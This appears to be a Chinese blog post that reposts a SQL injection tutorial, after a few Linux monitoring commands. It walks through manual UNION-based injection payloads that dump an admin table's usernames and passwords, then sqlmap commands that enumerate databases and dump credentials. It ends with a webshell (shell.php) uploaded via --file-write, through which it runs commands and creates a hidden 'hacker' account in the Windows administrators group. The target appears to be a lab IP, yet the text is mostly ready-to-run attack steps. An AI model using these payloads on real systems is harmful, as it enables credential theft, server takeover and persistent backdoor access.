kk Blog —— 通用基础


date [-d @int|str] [+%s|"+%F %T"]
netstat -ltunp
sar -n DEV 1

sqlmap超详细讲解

https://blog.csdn.net/A485860941/article/details/124148554

安装

1
pip install sqlmap

什么是SQL注入

所谓SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求查询的字符串,最终达到欺骗服务器执行恶意的SQL命令,假如管理员没有对id参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询.

手工注入

第一步

找到漏洞链接

第二步

获取列长度 说明目前使用的数据库表格只有3列

order by 3#

第三步

使用联合查询从而获当前用户和数据名与数据库版本

union select user(),database(),version()#

第四步

查询所有表格,我们已经知道目前所使用的数据库名是zkpy接下来我们查询表格名字

union select 1,2,table_name from information_schema.tables where table_schema=‘zkpy’#

回显出二个表格名称

第五步

我们查看表格里面列 我们先猜解admin表吧 因为admin是管理员所以我们先猜它

union select 1,2,column_name from information_schema.columns where table_name=‘admin’#

回显信息列有 id,username,password

第六步

我们进行查看username和password里面内容

union select 1,username,password from admin–+

可以看出账号是alpha密码是zkpy00Q

如果感觉手工注入麻烦的话,下面给大家带来二个工具注入sql,使用起来更简洁更方便更快,更有效率的来获取你想知道的内容

sqlmap工具注入

sqlmap是基于注入的一个工具,从而达到轻松获取内容

1
2
3
sqlmap -u "URL" --batch       --batch代表全自动 不用我们手动输入y/n

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1"

有漏洞接下来我们查看当前使用的数据库

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-db --batch

查看当前数据库使用的用户是谁

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-user --batch

查看当前数据库是否是管理员权限

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --is-dba --batch  回显True就代表是管理员

接下来我们来报表格 当前所使用的数据库是zkpy

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy --tables --batch

回显信息显示有admin表格和news表 admin为管理员所以先破解admin表

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin --columns --batch

admin表格里面有3列,分别是 id,username,password

接下来我们导出这三列内容 –batch为导出

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin -C id,username,password --dump --batch 

接下来就完毕了,成功获取用户名与密码

获取控制服务器

接下来我们使用sqlmap传递一个php脚本从而获取控制服务器

我们使用

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --os-shell 来查看网页根目录

网页根目录是 C:/phpstudy/www 这是一个windows windows不区分大小写我们怎么样写都行

我们首先编辑一个木马文件 创建文件名为 shell.php

首先使用sqlmap上传文件 靶机my.ini配置文件里面必须开启这一项 否者不可上传不可读

接下来我们使用sqlmap上传一下shell.php文件

1
2
3
--file-write 是写入文件使用我们木马路径   --file-dest 是目的地 使用对方网页路径

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --file-write "/root/shell.php" --file-dest "c:/phpstudy/www/shell.php"

然后到浏览器访问我们刚才上传的木马即可 查看php信息

1
http://172.16.15.24/shell.php?CMD=phpinfo();

查看靶机权限

1
http://172.16.15.24/shell.php?CMD=echo passthru('whoami');

创建hacker用户

1
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker 1234560.0 /add');

授予用户管理员组让hacker用户也可以享受管理员权限

1
http://172.16.15.24/shell.php?CMD=echo passthru('net localgroup administrators hacker /add');

下面查看一下hacker用户是否存在 如果存在的话是什么权限

快捷方式你也可以使用

1
2
3
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker');

http://172.16.15.24/shell.php?CMD=echo passthru('net user'); 

可以看到hacker用户存在的接下来查看一下它是什么组

接下来我们就可以任意执行代码了 也可以上传php脚本里面的include和require文件包含